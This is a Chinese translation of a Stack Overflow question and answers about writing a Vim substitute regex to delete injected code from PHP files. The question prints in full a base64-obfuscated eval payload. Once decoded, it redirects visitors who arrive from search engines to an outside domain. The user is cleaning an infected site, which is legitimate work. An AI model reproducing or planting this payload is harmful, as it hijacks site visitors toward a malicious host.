我的VIM正则表达式搜索和替换代码有什么问题?

4
我在一个php文件中有以下代码:

我在php文件中有以下代码。

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9ydW56b3IuZG5zcmQuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));

我打开了VIM并尝试运行0,$s/eval(.+;//gc,以删除所有实例,但是VIM显示未找到该模式。正确的表达式是什么?
注 - 根据我的评论,我还尝试过0,$s/eval\(.+;//gc,但VIM报错E54:不匹配的\( E476:无效的命令 我还尝试了0,$s/eval\(.\+;//gc,再次得到E54:不匹配的\( E476:无效的命令

我也尝试了 0,$s/eval\(.+;//gc,但是VIM报错 E54: Unmatched \( E476: Invalid command - John
Vim正则表达式要求您转义+,以便将其用作元字符而不是字面量。请使用\+进行转义。 - Michael Berkowski
1
%s/eval(.*//gc 这对我来说似乎有效。或者应该像 @DanteisnotaGeek 说的那样是 1, $s - Anirudh Ramanathan
@Cthulhu,你的答案也有效。 - John
1个回答

8
在Vim中,与大多数其他地方不同,一些元字符必须转义后才能用作元字符,而不是转义为文字。因此,您需要将+转义为\+以匹配前面的一个或多个
0,$s/eval(.\+;//gc

以上内容已经通过您的PHP片段进行了测试并且可以使用。

编辑:抱歉 - 先前版本中有一个错误,应该将(转义为文字。


@ Cthulhu 我的意思是要取消转义 ( - 抱歉 - Michael Berkowski

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接